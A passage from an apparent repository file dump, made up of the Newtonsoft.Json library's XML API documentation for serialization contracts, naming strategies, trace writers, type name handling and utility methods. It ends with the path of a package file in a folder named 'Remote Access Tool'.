</summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodWithResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback,Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic that returns a result\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodReturnLast(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodNoResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Linq.Expressions.Expression[],Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.GetRestrictions\">\n            <summary>\n            Returns a Restrictions object which includes our current restrictions merged\n            with a restriction limiting our type\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.xml",
